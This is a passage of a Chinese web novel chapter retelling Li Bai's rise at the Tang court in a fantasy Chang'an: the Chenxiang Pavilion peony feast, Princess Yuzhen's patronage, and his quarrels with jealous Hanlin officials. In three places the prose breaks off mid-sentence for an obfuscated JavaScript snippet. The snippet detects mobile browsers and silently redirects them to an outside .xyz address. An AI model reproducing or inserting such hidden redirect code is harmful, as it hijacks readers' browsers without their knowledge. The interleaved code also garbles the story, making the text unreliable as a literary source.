行至院门廊下,却与几位平日埋头案牍、不善钻营的同僚擦肩。他们见到李白,眼中闪过一丝了然,并无多言,只是默契地侧身让开道路,脸上俱是苦笑。 李白与他们目光短暂交汇,彼此心照不宣。在这泥潭般的翰林院,这些沉默的边缘人,倒成了他仅存的一点微温。他微微颔首,算是回应,身影迅速消失在门外刺目的春光里。 他没有去崇贤坊的瀚海诗社。此刻,他不想见任何外人,不想听任何劝慰,更不想让高适看到自己这副连御花园都挤不进去的狼狈相,兀自回了常乐坊的宅院。 推开院门,那股熟悉的带着烟火气的宁静扑面而来,却未能抚平他胸中的烦闷。 卢玉生和吴十九早已备好了饭菜。见他脸色阴沉,比平日回来得早,又嗅到他身上若有似无的酒气,两人对视一眼,都从对方眼中看到了担忧。 “十二郎,今日……可是翰林院有什么事?”卢玉生小心翼翼地问,递上一杯温热的茶水。 李白接过茶杯,仰头灌下,试图冲掉喉咙里的苦涩。他故作轻松地笑笑,挥挥手:“没什么大事。宫里晚上赏牡丹,要人陪侍,吵吵嚷嚷的,我觉得无趣,就……推了,先回来了。” 他刻意加重了“推了”二字,仿佛是自己主动不屑参与。 卢玉生和吴十九将信将疑。他们太了解李白了,若论好热闹,谁能比得过他?更何况是皇家的“热闹”!而现在,他那双琥珀色的眼睛里翻涌的,绝非是“无趣”,更像是一种难以名状的失落。 但见他不想深谈,两人也只好压下心中的疑虑,强作欢笑,陪着李白吃饭,聊些市井趣闻。 李白却食不知味。他抓起酒坛,给自己满满斟了一杯,仰头饮尽。辛辣的液体滚入喉中,却浇不灭心头的火焰。 贵妃赏牡丹!这是何等绝佳的机会!天子近在咫尺,贵妃风华绝代,若他能跻身其中,以他的诗才,定能让圣人眼前一亮,让贵妃为之动容。他的诗,本就是为这煌煌盛世、为这绝代风华而生的! 可是……他连那道宫门都跨不进去!连一丝机会都没有!那些庸碌之辈,却可以凭借钻营,堂而皇之地占据那本可能属于他的位置! “十二郎……”卢玉生见李白一杯接一杯,眼神已有些迷离,心中担忧更甚。他默默放下碗筷,试探着问:“要不……我弹首曲子给你解解闷?” 李白没有反对,只是含糊地“嗯”了一声,目光依旧落在空了的酒杯上。 卢玉生抱着琵琶回来,五指拨动,流淌出婉转悠扬的乐曲。这曲子勾起了李白的回忆,他想起了前几日朱雀门诗板上闹得沸沸扬扬的词条——#王摩诘新弹《郁轮袍》##玉真观公主亲击节#。 那位深居简出的玉真公主,皇帝最宠爱的妹妹,竟为王维的琴艺击节赞叹!王维,那个诗画双绝、清贵自持的状元郎,不正是因着玉真公主的青眼,才得以在长安诗坛与官场如鱼得水吗? 这段时间,他也并非坐以待毙。他给玉真公主府上递了自荐的诗稿和信函,字字句句,既极力炫技,又大谈抱负,希望能得到这位贵人的青睐,为自己打开一条通往天听的道路。 然而,信如石沉大海,杳无音讯。这份等待的煎熬,此刻与眼前的失落交织在一起,更添了几分苦涩。 一声转高的音调将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275811|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李白拉回现实,他这才注意到,琵琶声早已不是长安流行的清商雅乐,而是换成了蜀地乡间那熟悉的,带着山野气息的小调。婉转中透出淡淡的愁绪,仿佛在诉说着远山的呼唤,溪流的低语。 这熟悉的乡音,像一根无形的线,缠绕住了李白的心。他端着酒杯的手顿在半空,醉眼朦胧地看向卢玉生。少年低垂着眼帘,长长的睫毛在烛光下投下一小片阴影,神情专注而温柔,却又透着一股难以言说的寂寥。 卢玉生也有心事。 他在长安交了些朋友,其中便有瀚海诗社的社员。一次闲聊中,他无意间得知,李白曾与高适讨论过他的去留。朋友转述的话语虽不详细,但那份真挚的挽留与深切的忧虑,却像一股暖流淌进卢玉生心里。他感动得几乎落泪,十二郎待他,情同手足! 可越是如此,他心中那份去意便越是清晰。他看得明白,自己留在长安,非但帮不上忙,反而可能成为十二郎的软肋,成为那些小人攻讦的借口。 长安的水太深,他这条蜀江里的小鱼,终究是游不惯的。既然十二郎碍于情面难以开口,那不如……由他自己来提。 一曲终了,余音袅袅。李白已醉意深沉,眼神迷离,伏在案上,口中含糊不清地嘟囔着什么。 卢玉生放下琵琶,轻轻走过去:“十二郎,夜深了,我扶你回房歇息吧。” 李白任由卢玉生搀扶起来,脚步踉跄。回廊幽暗,只有檐角灯笼投下昏黄的光晕。卢玉生扶着李白沉重的身躯,感受着他身上浓烈的酒气,心中酸涩。他深吸一口气,声音轻得像是怕惊扰了夜色: “十二郎……我……我想跟你商量个事。”他顿了顿,斟酌着词句,“爹娘年岁大了,前些日子托人捎信来,说……很是挂念。长安虽好,终究不是故土。而且……这北地的气候,我……我总觉得不大适应,身子骨也常觉得不爽利。我想……等过了这阵子,天气暖和些,路也好走了,就……就回蜀中去看看爹娘,也……也养养身子。” 醉意朦胧的李白,听到“回蜀中”三个字,身体猛地一僵,像是被什么东西刺了一下。他费力地抬起头,醉眼迷蒙地看向卢玉生,手臂下意识地收紧,口中反复地、固执地呢喃着: “不行……不行……玉生……再等等……再等等我……等我……等我报了仇……报了仇再走……好不好?等我……等我……” 那声音含糊不清,却带着一种近乎哀求的执拗,在寂静的回廊里反复回荡,最终消散在沉沉的夜色中。 卢玉生听着,心中五味杂陈,既为李白的重情重义而感动,又为他深陷仇恨的泥沼而忧心。他不再言语,只是更稳地扶住李白,一步步走向那间被月光浸透的卧房。 身后,吴十九默默收拾着杯盘狼藉的桌案,望着两人离去的背影,眉头紧锁,最终化作一声沉重的叹息,消散在长安微凉的春夜里。 17. 身登青云梯 一片氤氲的仙雾之中,李白揉了揉眼睛,发现眼前是雕梁画栋、金碧辉煌的殿堂,丝竹管弦之声袅袅传来,却又不甚真切。 首席之上,端坐着一位服饰淡雅、气质高华的贵妇,眉目含笑,正是他只在诗牌拓影中见过的玉真公主。公主身侧,一位身着素色长衫、气质清冷如月下修竹的男子静坐,虽未谋面,李白心中却笃定无比——那必是王维无疑。 玉真公主的目光越过满堂宾客,落在李白身上,唇角噙着温和的笑意,声音如珠玉落盘:“李供奉,久闻诗名,今日盛会,何不即兴赋诗一首,以助雅兴?” 一股热血瞬间涌上头顶,李白胸中诗情澎湃。他下意识地伸手去抓案上的紫毫,指尖却触到一片虚空。就在这时,身后一股力量猛地推了他一把! “十二郎!十二郎!快醒醒!” 李白猛地睁开眼,急促的喘息着,额角渗出细密的冷汗。眼前并非玉真公主府邸的雕梁画栋、丝竹管弦,也没有那位清冷如月的美男子王维。只有卢玉生焦急的脸庞近在咫尺,一旁还站着同样神色紧张的宫廷乐师李龟年。 “李供奉!快醒醒!天大的恩旨到了!”李龟年也在一旁急声催促,手里紧紧攥着一卷明黄色的绢帛。 李白晃了晃昏沉的脑袋,宿醉的眩晕感和方才梦境中那奢华却虚幻的场景交织在一起,让他一时分不清东南西北。 “玉生……龟年兄?何事如此惊慌?”李白撑着发胀的脑袋坐起身,声音沙哑。 “圣旨!是圣旨啊,李供奉!”李龟年见他终于清醒,连忙展开手中绢帛,声音因激动而微微发颤:“圣人今日于沉香亭赏牡丹,龙心大悦,特召翰林陪侍赋诗。然……然诸翰林所作,皆被圣人斥为‘俗物’,不堪入目!圣颜不悦,满座噤声!” 李龟年咽了口唾沫,继续道:“就在此时,玉真长公主殿下突然启奏,言道:‘翰林供奉李白何在?他既为《大唐好诗歌》魁首,诗才必是冠绝翰林,何不召他前来一试?’贵妃娘娘亦在旁言说,曾于宫中观看大赛拓影,对供奉‘谪仙人’之誉甚为好奇,欲亲见风采。圣人闻之,龙颜稍霁,当即下旨,命我速速寻李供奉至沉香亭赋诗!” 轰! 李龟年的话如同一道惊雷,瞬间劈散了李白脑中所有的混沌与颓唐。机会!那个他梦寐以求却又在今日被无情剥夺的机会,竟以如此出人意料的方式,被玉真公主的一句话,重新送到了他的面前,真是——造化弄人! 这是千载难逢的良机,是直通天听的青云梯! “快!更衣!”李白猛地从榻上弹起,眩晕感让他踉跄了一下,但眼神却亮得惊人。他一把推开卢玉生递来的醒酒汤,声音因激动而微微发颤:“玉生!快!拿我的翰林常服来!龟年兄,稍待片刻!” 卢玉生和李龟年不敢怠慢,一个手忙脚乱地翻找衣物,一个紧张地搓着手在旁等候。李白在两人的帮助下,飞快地换上那身代表身份的常服,又就着卢玉生端来的铜盆冷水狠狠抹了把脸。冷水刺骨,却让他最后一丝混沌也消失殆尽。 “走!”李白深吸一口气,尽管脚步因酒意未消仍有些虚浮,但腰背已然挺得笔直,眼中燃烧着孤注一掷的火焰。他推开房门,大步流星地向外走去,卢玉生和李龟年紧随其后。 沉香亭畔,牡丹灼灼,暗香浮动。李隆基与杨贵妃高坐亭中,玉真公主陪侍在侧。亭外侍立着一众王公贵戚、翰林学士,气氛却因方才的“诗荒”而显得有些凝滞。 当李白的身影出现在众人视线中时,瞬间引来了无数道目光。惊愕、疑惑、探究、鄙夷……尤其是张翰林、顾翰林等人,脸上血色“唰”地褪尽,眼中充满了难以置信的恐慌与嫉恨。 他们刚刚的诗作被斥为“俗物”,此刻这个被他们排挤在外的“狂徒”竟被长公主亲自点名召来。这无异于当众扇了他们一记响亮的耳光!他们心中既怕李白真的作出好诗,更怕他酒后失仪,连累整个翰林院。 李白无视了那些或惊或惧的目光,强压下因紧张和酒意带来的心跳如鼓,稳步上前,对着亭中深深一揖:“臣李白,奉旨觐见!” 李隆基抬起眼皮,打量了一下这个闻名已久的“谪仙人”,见他虽面带酒意,眼神却清亮锐利,微微颔首:“免礼。今日牡丹盛开,朕心甚悦。闻卿诗才卓绝,特召卿来,即景赋诗一首,以助雅兴。” “臣,遵旨。”李白的声音沉稳有力。 早有内侍在亭中一角备好了书案,铺着雪浪笺,紫毫笔搁在笔山上。李白走到案前,目光扫过亭外那倾国倾城的牡丹,又掠过李隆基威严的面容,最终落在杨贵妃那艳冠群芳,与牡丹争辉的绝色姿容上。刹那间,灵感如同奔涌的江河,冲散了所有的紧张与拘谨。 他深吸一口气,提起紫毫,饱蘸浓墨,手腕悬空,落笔如飞!笔走龙蛇间,一行行飘逸狂放的字迹跃然纸上: 云想衣裳花想容,春风拂槛露华浓。 若非群玉山头见,会向瑶台月下逢。 字字珠玑,句句生辉!将杨贵妃的绝世容颜与牡丹的国色天香融为一体,更以“群玉”“瑶台月下”的仙家意境,极尽赞美之能事,却又超凡脱俗,毫无谄媚之嫌。 高力士早已侍立一旁,见李白搁笔,立刻上前小心翼翼地捧起诗稿,躬身呈给李隆基。 李隆基览毕,紧锁的眉头骤然舒展,眼中露出惊喜之色,连声道:“好!好诗!清丽脱俗,仙气盎然!爱妃,你快看!” 杨贵妃接过诗稿,细细品读,美眸中异彩连连,尤其是看到首句,粉颊微红,更添娇艳。她抬眼看向李白,眼波流转,带着由衷的喜爱:“李供奉此句,深得我心。” 说着,她竟将自己面前那方温润如玉、雕刻精美的端砚,亲手捧起,递给身旁的贴身侍女:“去,将此砚赠与李供奉,请他用此砚,为陛下与本宫,再赋新篇。” 这是何等的荣宠!张翰林等人只觉得眼前发黑,嫉妒得几乎要呕出血来。 李白心中激荡,面上却竭力维持着平静。他双手接过那方犹带椒房暖香的砚台,深吸一口气,再次提笔,蘸满浓墨,文思如泉,第二首《清平调》顷刻而成: 一枝红艳露凝香,云雨巫山枉断肠。 借问汉宫谁得似?可怜飞燕倚新妆。 笔锋流转,一气呵成。此诗专咏贵妃之美,以牡丹之“红艳凝香”喻其娇艳,以楚王神女之典衬其无双,更以汉宫飞燕需倚新妆方能比拟,突出贵妃天生丽质,无需雕饰。 李隆基看得连连点头,兴致愈发高涨。他拿起面前一碗精致的羹汤,用金勺轻轻搅动了几下,示意高力士:“将此羹赐予李供奉,问问他,可还能再作一首?” 高力士连忙将羹汤端至李白面前,恭敬道:“陛下赐羹,问供奉可愿再续华章?” 李白看着眼前御赐的羹汤,胸 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她并非不知李白的自荐,也并非没看到那些信中隐约流露的焦躁。只是她以为李白既然得了《大唐好诗歌》的魁首,有张相、贺监的赏识,入翰林院可谓平步青云,又何必向自己这个方外之人递拜谒帖? 公主看出了那些自荐信中字字珠玑,难掩才情,字里行间却也透出一种近乎急切的催促,甚至隐隐带上了几分怀才不遇的郁愤。当时她只觉得才子性急,直到今日,如此盛会,庸人扰了圣人贵妃的兴致,真正的才子却意外缺席。 她看向那群极近谄媚之能事的张翰林等,心中了然,目光也冷峻起来。想来这翰林院的空气并不比太极宫新鲜,这些个她叫不上名字的翰林,也是屈子笔下的“众女”罢!① 正因如此,眼看这牡丹盛会要不欢而散,公主起身请奏,邀李白前来赋诗。她的目光又落在李白那张难掩兴奋的脸上,却比刚才柔和了许多。 今日这沉香亭畔的牡丹盛会,便是她为这颗明珠精心擦拭、令其绽放光华的时刻。她欣赏李白,如同欣赏王维,他们,皆是这煌煌盛世不应被埋没的明珠。 李龟年早已按捺不住,当即取来琵琶,将这三首《清平调》谱曲演唱。清越的歌声伴着悠扬的琵琶声,在沉香亭畔流淌,唱尽了牡丹的雍容、贵妃的绝色、君王的欢愉与诗人的才情。皇帝与贵妃听得如痴如醉,满座公卿无不叹服。 盛宴将散,人潮渐退。李白立于亭下,心潮澎湃,犹在回味方才的荣光。这时,一位身着淡雅宫装、气质清冷的侍女悄然走到他面前,耳垂上那对明月珰在灯火下流转着温润而昂贵的光泽。 “李供奉,长公主殿下有谕:三日后府中设宴,特邀供奉拨冗莅临。”侍女声音轻柔却清晰,“殿下言,今日沉香亭之会,意犹未尽。” 李白心头一震,瞬间明白了玉真公主的心意。原来并非忽视,而是静待花开!他强压下激动,深深一揖:“臣李白,谢长公主殿下厚爱!三日后,必当准时赴约!” 当夜,朱雀门诗板金芒大放,榜首词条赫然是: #沉香亭牡丹盛宴谪仙三赋清平调# #贵妃亲捧御砚天子御赐羹汤# #牡丹园里动天听公主慧眼识明珠# 李白之名,再次以最耀眼的姿态,震动长安! 18. 危楼高百尺 翌日,李白如往常般踏入翰林院那扇厚重的朱漆大门,昨日沉香亭畔的仙音犹在耳际回荡,今日这方寸之地却已换了人间。 刚一进门,数道目光便粘了上来,不再是往日的审视、嫉妒或轻蔑,取而代之的是近乎谄媚的恭敬。几个平日只知埋头誊录的低阶翰林,竟抢步上前,脸上堆砌着夸张的笑容: “李供奉早!供奉安好!” “供奉辛苦,昨夜侍驾至深,今日还如此勤勉,真乃我辈楷模!” “您这边请,当心脚下……” 一人甚至躬着腰,小心翼翼地去搀扶他的臂肘,仿佛他脚下不是坚实的地板,而是蜀山峭壁上半悬的栈道。另一个则急急撩起他那身常服的袍角,生怕那华贵的布料沾染了地上的尘埃。 李白眉头微蹙,不着痕迹地拂开了搀扶的手,目光扫过自己熟悉的角落书案。 案面光可鉴人,显然被反复擦拭过。上面陈列的文房四宝焕然一新:宣纸光洁如雪,紫毫笔锋饱满,墨锭乌黑发亮,皆是价值不菲的上品。这待遇,与昨日之前的冷落刁难,判若霄壤。 但当他的目光落在摆放砚台的位置上时,却发现那里摆着的是一方端溪老坑的上品端砚,石质温润细腻,雕工繁复华美,显然价值不菲。 但这不是他的洮河砚! 他心爱的洮河绿石砚台,那方刻着“扶摇”二字、承载着蜀中二十四名寒门学子拳拳心血的砚台,不见了! 一股无名怒火瞬间从胸中腾起,烧尽了所有虚伪的平静。他猛地一掌拍在案几上,那声巨响在过分安静的值房里如同平地惊雷。 “谁动了我原来的砚台?!”李白冷冷地扫过在场的所有人,“谁动了我的洮河砚?!” 方才还殷勤谄谄笑的几人,瞬间噤若寒蝉,脸色煞白。所有人的目光,齐刷刷地、带着恐惧和幸灾乐祸,聚焦在了角落里脸色骤变的顾翰林身上。张翰林站在一旁,嘴角不易察觉地抽搐了一下,悄悄后退了小半步。 顾翰林左右看看,眼里的光在看到张翰林向后一撤后骤然熄灭。他只觉得一股寒气从脚底板直冲天灵盖,勉强出一个比哭还难看的笑容,声音干涩发颤: “李……李供奉息怒!息怒!下官……下官看您原先那方洮河砚,石质虽佳,但毕竟……毕竟用了些时日,边角都有些磨损了。想着供奉如今诗名更盛,常伴御前,所用之物……也当更……更配得上身份些。这才……才斗胆自作主张,为您换了一方上好的端溪老坑砚……此砚乃是……乃是……” “少废话!”李白厉声打断,眼中寒光如剑,直刺顾翰林心窝,“谁给你的胆子?!那方洮河砚,是我同乡故友所赠,心意无价!岂是这等俗物可以替代?它现在何处?!给我找出来!立刻!马上!否则……” 他声音陡然压低,却带着万钧之力:“若哪日陛下兴致正好,召我赴宴联句,我醉后失言,不小心说漏了某些腌臜泼才在翰林院里干的那些个‘克扣俸禄’‘擅挪私物’,甚至……‘狎昵僚属’的‘好事’……” 他故意停顿,目光意有所指地扫过顾翰林和张翰林,两人脸皮瞬间紫涨。 “那场面,顾大人想必不愿见到吧?” 这赤裸裸的威胁,如同重锤狠狠砸在顾翰林的心口。他腿一软,险些跪倒,嘴唇哆嗦着,语无伦次:“下官糊涂!下官该死!那……那旧砚台……下官并未丢弃,只是……怕您用着不顺手……便……便暂收在库房里……想着替您保管着……下官这就去取!这就去!” 顾翰林几乎是连滚带爬地冲出值房,哪里还有半分翰林学士的体面。值房里落针可闻,张翰林等人面如土色,深深低下头,恨不得将自己缩进地缝里,再不敢与李白锐利的目光有半分接触。 不多时,顾翰林捧着一个沾着灰尘的布包,气喘吁吁地跑回来,双手奉到李白面前,声音带着哭腔:“李……李供奉……您……您看……完好无损!完好无损!” 李白一把扯开布包,那方熟悉的洮河绿石砚台赫然在目。粗粝的触感,歪歪扭扭却饱含深情的“扶摇”刻痕,甚至角落里还嵌着一小块陈十六写字时不小心溅上的朱砂印迹……一切如旧。 他冰冷的脸色这才稍稍缓和,小心翼翼地将砚台捧起,用袖子仔细拂去上面的灰尘,郑重地放回案头最醒目的位置。那方名贵的澄泥砚,被他随手推到了角落。 “顾大人,下不为例。”李白的声音恢复了平日的清朗,却带着不容置疑的威严。 “是是是!谨遵供奉教诲!”顾翰林如蒙大赦,点头哈腰,后背的冷汗早已湿透。 经此一事,翰林院众人噤若寒蝉,再无人敢在李白面前耍半点花样。李白也乐得清净,将那方“扶摇”砚重新注满清水,研开松烟墨,周遭那些敬畏或嫉恨的目光,不过是过眼云烟。 三日后,玉真观。 玉真观清幽雅致,与沉香亭的皇家富丽截然不同。竹影婆娑,流水潺潺,空气中弥漫着檀香与茶香。玉真公主依旧是一身素雅道装,眉目间带着洞悉世情的平和。 “供奉请坐。”公主亲自为李白斟上一杯清茶,“前日沉香亭之事,供奉诗惊四座,陛下与娘娘皆赞不绝口。” “公主殿下谬赞,李白愧不敢当。若非殿下慧眼识珠,力荐于御前,李白焉能有此机缘?”李白恭敬行礼,心中对这位公主的提携充满感激。 公主微微一笑,轻轻摇头:“供奉之才,如锥处囊中,锋芒自现。本宫不过是顺水推舟罢了。” 言罢,语气一转,带上了一丝歉意,“今日设宴,本欲邀王摩诘同来,与供奉一晤,共论诗画之道。奈何摩诘新得陛下赏赐的波斯秘彩,其色瑰丽多变,前所未见。他如获至宝,这几日闭门谢客,一心钻研调配之法,以求在画作中再现其神韵。他那性子,在丹青一事上……确有几分执拗,失礼之处,还望供奉海涵。” 李白想起朱雀门诗板上那高悬的#波斯秘彩待懂画人##圣心独宠王维授画#词条,以及坊间流传王维对绘画近乎苛刻的完美追求,了然地点点头:“殿下言重了。摩诘先生画艺通神,有此奇物,潜心钻研正是雅事。太白虽憾未能当面请教,却也理解此等痴心。”心中对那位只闻其名、未见其人的“画中仙”倒添了几分同道的亲近。 玉真公主赞许地看着李白,眼中欣赏之色更浓。她话锋一转,声音放低了些,带着一种推心置腹的意味:“供奉在翰林院……想必也并非事事顺遂吧?” 李白心头微动,公主此言,话里有话。他没有立刻回答,只是端起茶杯,借着氤氲的水汽掩饰眼中的复杂。 公主似乎也不需要他回答,继续说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275813|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翰林院乃清贵之地,却也难免人事纷扰。陛下亦知供奉性情疏阔,不耐俗务拘束。故而……本宫向陛下进言,供奉才情绝世,当如云中鹤,岂可困于樊笼?陛下深以为然,已降下恩旨。” 李白的心猛地提了起来,一种预感在胸中激荡。 “自今日起,供奉不必再日日去翰林院点卯。”公主声音清晰,带着不容置疑的意味,“供奉只需安心居于常乐坊宅邸,或游历长安名胜亦可。唯有一条:无论何时何地,只要陛下召见,供奉务必即时入宫应召,不得延误。” 此话一出如同冰水浇头。李白脸上的血色瞬间褪去,握着茶杯的手指骤然收紧。 不必日日去翰林院点卯,这曾是他梦寐以求的自由!然而“无论何时何地,即时入宫应召”这十二个字,却像十二道无形的金锁链,瞬间将他牢牢捆住。 这意味着他再不能随意与卢玉生、吴十九纵情山水,再不能与高适在瀚海诗社一醉方休。长安城,从此刻起,对他而言不再是充满可能的广阔天地,而是一座更大、更华丽的金丝雀笼。 他的确成了闲云野鹤,一只皇帝随叫随到的、被剪去了所有可能远飞羽翼的“仙鹤”! 一股强烈的抗拒感如潮水般袭来,那句“臣性疏懒,恐难奉召”几乎要冲口而出。 “供奉且慢。”玉真公主仿佛看穿了他内心的惊涛骇浪,及时开口,语气温和而带着安抚的力量,“陛下乃圣明之君,深知供奉乃性情中人。陛下特意交代,召见供奉,多在白日宴饮、君臣同乐之时,且必会提前至少一个时辰由内侍通传,绝不会有夤夜急召、扰人清梦之举。供奉尽可放心。” 公主的目光坦诚而恳切:“这已是陛下格外开恩,亦是本宫能为你争取到的最大的自在空间了。供奉试想,比起在翰林院日日面对那些琐碎公文与……某些人的嘴脸,这般安排,岂不更合你心意?只需留意诗牌讯息,莫要行踪飘渺难以寻访便是。” 李白胸腔中翻腾的震惊与不甘,在公主平静而充满力量的话语下,渐渐平息下去。他明白,这确实是目前最好的结果,甚至是玉真公主为他苦心周旋得来的“特权”。 拒绝,不仅拂了公主颜面,更是抗旨不遵!难道真要因一时意气,断送这来之不易的‘自在’和公主的情谊? 最终,他缓缓松开紧握茶杯的手,深深吸了一口气,站起身,对着玉真公主郑重一揖,声音带着一丝不易察觉的沙哑:“臣……李白,谢陛下隆恩!谢公主殿下周全!必当……遵旨而行。” “如此甚好。”玉真公主展颜一笑,目光在李白俊朗的面庞上流转片刻,又落到他身后刚被修剪好插在青瓷瓶里的海棠。 公主素喜淡雅,极少用熏香,室内多用花果香。自打出家后,连花果香也免了,改用无香海棠,仅是用来点缀光景。 “来,尝尝这道终南新茶,清心涤虑。长安虽大,只要心在云端,何处不能逍遥?” 杯中清茶碧绿,映着窗外竹影摇曳。李白低头啜饮,茶汤微苦回甘,却难掩心底那抹被无形的皇权锁链悄然缠绕的沉重。 长安城的万家灯火,从此在他眼中,多了一层“咫尺天涯”的隔膜。青云梯已登,却发觉梯子尽头,仍是需要仰望的皇权星空,而故友的笑语、江湖的快意,都成了那星空下,触不可及的倒影。 19. 手可摘星辰 从玉真观出来,李白并没有感受到玉真公主所言的“心在云端,何处不能逍遥”。那杯清茶的余味泛着苦意,与心头的压抑交织在一起。 他下意识地迈开脚步,却不是走向常乐坊的宅邸,而是走向了翰林院。或许,他需要最后看一眼那个曾象征梦想起点,如今却充满虚伪倾轧的地方,做一个了断。 时值晌午会食,值房里空无一人。李白走到自己的书案前,案上那方名贵的端溪砚还在角落里蒙尘,而他的“扶摇”洮河砚则沉稳地占据着中央。他轻抚过砚台的刻痕,眼中流转着珍重,随后开始收拾自己仅有的几卷书稿和零星物什。动作很快,带着一种无声的决绝。 刚抱着东西走到值房门口,一个出乎意料的身影便堵在了前方——张翰林。他脸上挂着谄媚的笑容,手里捧着个精致的锦盒,身后还跟着个随从,捧着另一样看起来更沉重的礼盒。 李白看着那刺目的笑容,正待发几句冷嘲热讽——这厮连午饭都要算计着撞见自己,吃个饭都不安生?然而话未出口,张翰林却先发话打断了他的思路: “哎呀!李供奉!真是凑巧!”张翰林抢步上前,尾音刻意上扬了些,“您这是……收拾东西?日后供奉高居常乐坊,深得帝眷,只怕更难见面了!” 他一边说着,一边将锦盒往前递:“供奉且慢走!先前……先前俸禄一事,确是在下糊涂,克扣刁难,万望供奉海涵!区区薄礼,聊表歉意,请供奉务必笑纳!”他的眼神闪烁,那笑容热络得有些失真。 李白站定,唇角勾起一丝冷笑,目光锐利如刀:“哦?赔罪?张大人,你那点俸禄克扣,倒也不必如此兴师动众。” 他刻意停顿,带着一种洞悉一切的了然:“听闻长安城里近来流行一种胭脂盒,印着鄙人的《长干行》,卖得甚好?呵,不错,太白微名,能换几两买酒钱,倒也比克扣盘剥来的干净些。区区俸禄,何足挂齿?张大人自家留着打点疏通,岂不更实惠?” 张翰林被这软钉子钉了个结实,脸上的笑容瞬间僵硬,讪讪地咧了咧嘴,尴尬得无以复加。他见李白要走,心中一急,也顾不得许多,竟一步上前拦住去路。 “供奉留步!您清高,看不上金银珠宝,可这样东西……”他一边说,一边迅速从自己宽大的袖袍中掏出一样物事,小心托在掌心,“这灵盘,乃蜀中故物,还望供奉赏脸收下,就算是……念在同僚一场情分上?” 李白目光一凝。 只见张翰林掌中之物,通体是一种温润细腻的玉石质感,却并非贵重宝石,而是带着一种天然的灵韵流光,中心镶嵌着一圈奇异的暗色晶石,边缘清晰刻着“开元十五年·嘉州”字样。 嘉州灵盘! 这确是件珍贵的器物。太宗朝时,正是剑南道嘉陵一带的山人,偶然发现了某种蕴含奇特能量的矿石,最终促成了“诗牌”这种可以隔空传声,甚至投影成像的神物诞生。而用这类原生矿石精炼制作的“灵盘”,便成了极为重要的附属品,能随时为能量耗尽的诗牌充能。 天下能产灵盘之地不过十二州,而嘉州所产因矿石品质纯净、储能效率高,被推崇为极品,冠绝天下,价值千金,且往往有价无市。 握着这方带着嘉陵江水的清冽气息的灵盘,李白心中震动。家乡物产,价值不菲,确有大用。这张翰林,为了平息事端,或者另有所图,竟舍得下如此血本? 李白抬眼,锐利的目光审视着张翰林那张堆笑脸,玩味地掂了掂灵盘:“如此重宝,张大人舍得割爱?无功不受禄,张大人所求何事?不妨直言。” 张翰林连忙摆手,脸上堆出无比真诚的表情:“没有所求!绝对没有所求!供奉误会了!下官……下官是真觉得之前所作所为,有违君子之道,愧对先贤教诲!这次是真心实意赔罪!” 他左右看看无人,凑近一步,带着几分神秘,低语道:“供奉且听下官说句掏心窝子的话,下官在朝中也算有点故旧关系,前任张说张相公、张九龄相公门下……也……也略有些往来。因此,偶尔能听到点宫里消息,比如……” 他又伸长了脖子左右看看,确认安全后才继续说:“比如……本月廿六,陛下将在麟德殿设宴,群贤毕至!李相、杨侍郎诸位大人皆在列席!此等盛会……” 张翰林并未把话说完,但意思再明显不过,李白如今是御前红人,这等规格的宫廷宴会自然少不了他。 李白心中冷笑:这哪里是给自己送信,分明是递过来的攀附绳梯!这人精是想借着自己在御前露脸的机会,搭上这条线,让自己在宴会上引荐他,在皇帝和重臣面前搏个眼缘! 若换做平时,李白对这种钻营嗤之以鼻。但转念一想,这何尝不是一个好机会?羞辱玉生、克扣俸禄,加上如今这副恶心的曲意逢迎模样,新仇旧账一起算,此刻正当时! 李白压下心头汹涌的情绪,嘴角反而勾起一个似笑非笑的弧度: “廿六麟德殿宴……有趣,张大人消息果然灵通得很。”李白微微颔首,笑容加深,“张大人如此有心,又这般诚恳致歉,更奉上家乡重宝……我若再无表示,倒显得李白气量狭隘了。” 张翰林闻言大喜过望,眼中迸发出强烈的渴望之光。 “好。” 李白随手将那价值千金的嘉州灵盘按回在自己原来的那张空桌案上,如同丢弃一件无足轻重的东西。 “张大人的心意,太白领了。既蒙提点,李白届时……必会在圣前为张大人‘美言’几句。大人勤谨公忠,翰墨精熟,尤其……于《楚辞》一道,造诣颇深,在院中可是有口皆碑的。” “真……真的?!”张翰林喜出望外,几乎要冲上前来去握李白的手,“多谢供奉提携!下官……下官……” “大人无需多言。”李白打断了他虚伪的感激,语调转冷,“礼物,就免了。尤其是此物… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275814|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 他目光瞥了一眼桌上孤零零的灵盘,意有所指:“李白身无长物,怕折了它的福气,更怕……受不起。告辞。” 